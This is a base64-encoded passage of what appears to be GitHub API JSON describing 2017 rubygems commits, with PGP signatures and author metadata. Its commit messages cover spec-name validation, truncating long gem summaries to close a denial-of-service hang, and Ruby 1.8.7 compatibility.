SVdmTGRZb1NtdFdIeGN1SEViLzFYWEU2OFA1R1FWNGoxdjR4c1BcbjBPNHRBTTJ0NkgrUnB4WmRpT1RsXG49ZjA5dVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgYmQ2MTM1YWVkZDk2MDY2ZDViNGE2NTcyZDY2NzFlMjU3NmVlMzRjOVxucGFyZW50IDhhMzhhNGZjMjRjNjU5MWU2YzhmNDNkMWZhZGFiNmVmZWI0ZDYyNTFcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzY5Nzg2NyAtMDQwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzODg0MjM1IC0wNTAwXG5cblZhbGlkYXRlIHNwZWNpZmljYXRpb24gbmFtZXNcblxuVGhpcyB3aWxsIHZhbGlkYXRlIHRoYXQgc3BlY2lmaWNhdGlvbiBuYW1lcyBhcmUgcmVzdHJpY3RlZCB0byB0aG9zZSB0aGF0IHJ1YnlnZW1zLm9yZyB3aWxsIGFjY2VwdCwgYW5kIHByb3ZpZGUgYSBzdXBlcmlvciBleHBlcmllbmNlIHdoZW4gdXNlcnMgYWNjaWRlbnRhbGx5IGluY2x1ZGUgaW52YWxpZCBjaGFyYWN0ZXJzIGluIHRoZSBuYW1lIGNvbXBhcmVkIHRvIGFuIGludmFsaWQgcHVzaCBvciBhIGZhaWxpbmcgaW5zdGFsbFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNDRjYzI3Y2Q2MTIzYjhlYWFmYmNlYzVjOGZlMGRkMGJjMDFkMmE5NSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC80NGNjMjdjZDYxMjNiOGVhYWZiY2VjNWM4ZmUwZGQwYmMwMWQyYTk1IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzQ0Y2MyN2NkNjEyM2I4ZWFhZmJjZWM1YzhmZTBkZDBiYzAxZDJhOTUvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjhhMzhhNGZjMjRjNjU5MWU2YzhmNDNkMWZhZGFiNmVmZWI0ZDYyNTEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOGEzOGE0ZmMyNGM2NTkxZTZjOGY0M2QxZmFkYWI2ZWZlYjRkNjI1MSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC84YTM4YTRmYzI0YzY1OTFlNmM4ZjQzZDFmYWRhYjZlZmViNGQ2MjUxIn1dfSx7InNoYSI6IjhhMzhhNGZjMjRjNjU5MWU2YzhmNDNkMWZhZGFiNmVmZWI0ZDYyNTEiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI1VDIxOjQzOjMzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjhUMDE6Mzc6MTVaIn0sIm1lc3NhZ2UiOiJUcnVuY2F0ZSBzdW1tYXJpZXMgdG8gMTAwLDAwMCBjaGFyYWN0ZXJzIGluIHRoZSBxdWVyeSBjb21tYW5kXG5cblRoaXMgYXZvaWRzIGEgRE9TIHZlY3RvciB3aGVyZSBpbmNyZWRpYmx5IGxhcmdlIHN1bW1hcnkgc3RyaW5ncyB3b3VsZCBoYW5nIHJ1YnlnZW1zIGR1ZSB0byB0YWtpbmcgZm9yZXZlciBpbiBHZW06OlRleHQuY2xlYW5fdGV4dCIsInRyZWUiOnsic2hhIjoiMjg3MGZhNTViYjA5NDFhMTA5Y2VhYjdjZjUzM2RmZTlhOGIxZTA0OSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzI4NzBmYTU1YmIwOTQxYTEwOWNlYWI3Y2Y1MzNkZmU5YThiMWUwNDkifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy84YTM4YTRmYzI0YzY1OTFlNmM4ZjQzZDFmYWRhYjZlZmViNGQ2MjUxIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabzNQTEFBb0pFQUVaVzdNVjNhaFdNa1lQL2pXN2I4bHBzWlJkQk9VdGxGbENCWHRzXG4yczZwRUs0SWdnRGFBZXJ2Q3V0MjF5Q2d5d2NLT3M5NmVZUFNFcDgxbXZmeVFtWFJNaGR3Z1YrY0dRWGtBMGdMXG5iNlFyZWFIdzRYR1RCV0VEQmtYVWJYR0hGU0VVVDJlckdlcEZoREU2SU5iU2svR1IxdExiWEJ0eVUxdmo5UHZaXG5qYnFjZi9lSUF0YnZ4cDdkaGlsekhGd1FDTmhQUi80Nml3UGxyMGZEUzdIOHBKU2FkQ251Y1NidERJNmpIZzNLXG5TQis5cXRERFB4YXo2RFhNM1g5Q1N0VGU0b3NTajRteGV6azhMZlh1eDFFd0pDOStwVXR5eHpUV001WDJzRFB6XG4zVUNJeUVuVVdRd21Yc0d1ZzZrUFRyTk5PUDZCTjN6SXVJTjY5ZjExdG1pMUpHNzhaN1ZiLzM3Qk9Sa2JHOWRCXG53MExmc1FZeUo0NkF6QStVakNacnhHeENnUmQweWpoSkVzMi9qUnJZYnFOWFVaOE5ncThaU3U4cytZVXlFWjlxXG5KNmxWMThsRlRwYitQQjlDc1RyT2pneXRWeGxBRzZ1N1FKU3JHaG1NRUpad24zZHZ0K2dBc0FibUVFNzFsY05WXG5Cc1dLWTRKd251SjdsTGVDUDVoaHVteUt5THY4Q2luZGdmbG1ubHBOQndzNVN6K0hZMEFkTW00dGdHUmZhdi9JXG5KSURQZERZb2JzelJ0Mjd3WVQ2V3NFV3ErVnAxWXZVUDlLa2dMQmtVT3F0aDl3MXptamJtN1V4M1lYZFZ3dFlPXG5lRno3d3RrNDVZZEtnTFk0OXdHaXRCNm1UQkg0NkFvVlIxVlV3VVlQMWdrVDRVaFZLaHJqWXVCYXZzNWJ1UXRxXG5hREozSlBIRzcwUlVCakkvY3ltMVxuPTBiRmVcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDI4NzBmYTU1YmIwOTQxYTEwOWNlYWI3Y2Y1MzNkZmU5YThiMWUwNDlcbnBhcmVudCAxYmNiYzdmZTYzN2IwMzE0NTQwMWVjOWMwOTQwNjYyODU5MzRhN2YxXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDM2OTc0MTMgLTA0MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzg4NDIzNSAtMDUwMFxuXG5UcnVuY2F0ZSBzdW1tYXJpZXMgdG8gMTAwLDAwMCBjaGFyYWN0ZXJzIGluIHRoZSBxdWVyeSBjb21tYW5kXG5cblRoaXMgYXZvaWRzIGEgRE9TIHZlY3RvciB3aGVyZSBpbmNyZWRpYmx5IGxhcmdlIHN1bW1hcnkgc3RyaW5ncyB3b3VsZCBoYW5nIHJ1YnlnZW1zIGR1ZSB0byB0YWtpbmcgZm9yZXZlciBpbiBHZW06OlRleHQuY2xlYW5fdGV4dFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOGEzOGE0ZmMyNGM2NTkxZTZjOGY0M2QxZmFkYWI2ZWZlYjRkNjI1MSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC84YTM4YTRmYzI0YzY1OTFlNmM4ZjQzZDFmYWRhYjZlZmViNGQ2MjUxIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzhhMzhhNGZjMjRjNjU5MWU2YzhmNDNkMWZhZGFiNmVmZWI0ZDYyNTEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjFiY2JjN2ZlNjM3YjAzMTQ1NDAxZWM5YzA5NDA2NjI4NTkzNGE3ZjEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWJjYmM3ZmU2MzdiMDMxNDU0MDFlYzljMDk0MDY2Mjg1OTM0YTdmMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xYmNiYzdmZTYzN2IwMzE0NTQwMWVjOWMwOTQwNjYyODU5MzRhN2YxIn1dfSx7InNoYSI6IjFiY2JjN2ZlNjM3YjAzMTQ1NDAxZWM5YzA5NDA2NjI4NTkzNGE3ZjEiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI1VDIxOjA0OjA4WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjhUMDE6Mzc6MTVaIn0sIm1lc3NhZ2UiOiJVc2UgYSBwYXR0ZXJuIHRoYXQgd29ya3Mgb24gMS44LjciLCJ0cmVlIjp7InNoYSI6Ijk4YTE0NGRhM2MzMWMxOTQxMDc0NmY5NjlkMDg3ZTZiMjcwMzZiMjQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy85OGExNDRkYTNjMzFjMTk0MTA3NDZmOTY5ZDA4N2U2YjI3MDM2YjI0In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMWJjYmM3ZmU2MzdiMDMxNDU0MDFlYzljMDk0MDY2Mjg1OTM0YTdmMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWm8zUExBQW9KRUFFWlc3TVYzYWhXdVk4UUFJR2FrS1ZCMnE5ODVJY3k5emExeFNhK1xuMDhWaU1CSDRBbk1CRnAzL2NjanV5R1lzbWthRnB6VUxHeTRaUis5cXJtYXlNSHY1K09IUXQ0L0NSM1JlcFI5bFxuY1dsUmJJc1BtSEpLMU9qcjdhbUZSWEorV0FPeU5xbGdiMmlwa1o0STdlR2N1WFVidEdsaDhKaWcrZTJnVU1oU1xuUEh6eEZjUDdRRTQ0QWs4b3dPV3pBRjdjcUtlRnY5MEFvSkxWWGtENCsrYXd2MTgvOEszUDFUaHdWSjgydGVHalxubjFGZVZvMXRuYnMwZ0k1UjZFdnFvTmZRZTV6SzhEUTlkbUUyVWhzY3QwY2VWUXB4VmpFVk5ScjRVT3ltWERKZ1xueHY4dnFQM1pZY2J4NkZnYW94T1c4dU1jbklvMDZOdHVpZ216NnJUOWNWQ2M5S094TWhhbXlxZEFjRTBzcEZrTVxuUkZNTmROQnR0UVpXbnlkUTJ1bWJkQTdhenpLd2k5Wm1NNVZ2RHJIVkpzejNES2hWaXNFMlFOQ01ISlVyT0F1NVxuTllNbWN4MEZ3cVh4Q1dkc1U5SkdjZ1hRUVQ1SkFoS3AxaFFIMXlpY1pVdThaSzZ1c0N1U0dvWHI3U0RJZVM0NlxuOER3TmpuVldqbk1hZGNYSEJtY1lWQms2dEU0V0R0TWtDbThXVFFzNUZIMUlZWWlVOUMza1ZUQjJSMUs2TkEyUVxuWjdaVERDSGtKNUdWZ1U2dldHdmlmSFY0VjVKN0xhUDloN1BHSmY3bGpHbTd2eXFib28xYlV6V2QxMHc4bEpRblxuTjlERFhRenRPdVB6VEV3Y1czREErTlp0LzZMRDZzQ3JCeFhtL0xXM1A5ckhhbUFvNHdjTWt6UlNBemVwemJ2L1xuWk81TnlJNWhvRW80L2ZOK1dOZUtcbj0yanpQXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA5OGExNDRkYTNjMzFjMTk0MTA3NDZmOTY5ZDA4N2U2YjI3MDM2YjI0XG5wYXJlbnQgZWYwYWE2MTFlZmZiNWY1NGQ0MGM3ZmJhNmU4MjM1ZWI0M2M1YTQ5MVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzNjk1MDQ4IC0wNDAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDM4ODQyMzUgLTA1MDBcblxuVXNlIGEgcGF0dGVybiB0aGF0IHdvcmtzIG9uIDEuOC43XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xYmNiYzdmZTYzN2IwMzE0NTQwMWVjOWMwOTQwNjYyODU5MzRhN2YxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzFiY2JjN2ZlNjM3YjAzMTQ1NDAxZWM5YzA5NDA2NjI4NTkzNGE3ZjEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWJjYmM3ZmU2MzdiMDMxNDU0MDFlYzljMDk0MDY2Mjg1OTM0YTdmMS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZWYwYWE2MTFlZmZiNWY1NGQ0MGM3ZmJhNmU4MjM1ZWI0M2M1YTQ5MSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lZjBhYTYxMWVmZmI1ZjU0ZDQwYzdmYmE2ZTgyMzVlYjQzYzVhNDkxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2VmMGFhNjExZWZmYjVmNTRkNDBjN2ZiYTZlODIzNWViNDNjNWE0OTEifV19LHsic2hhI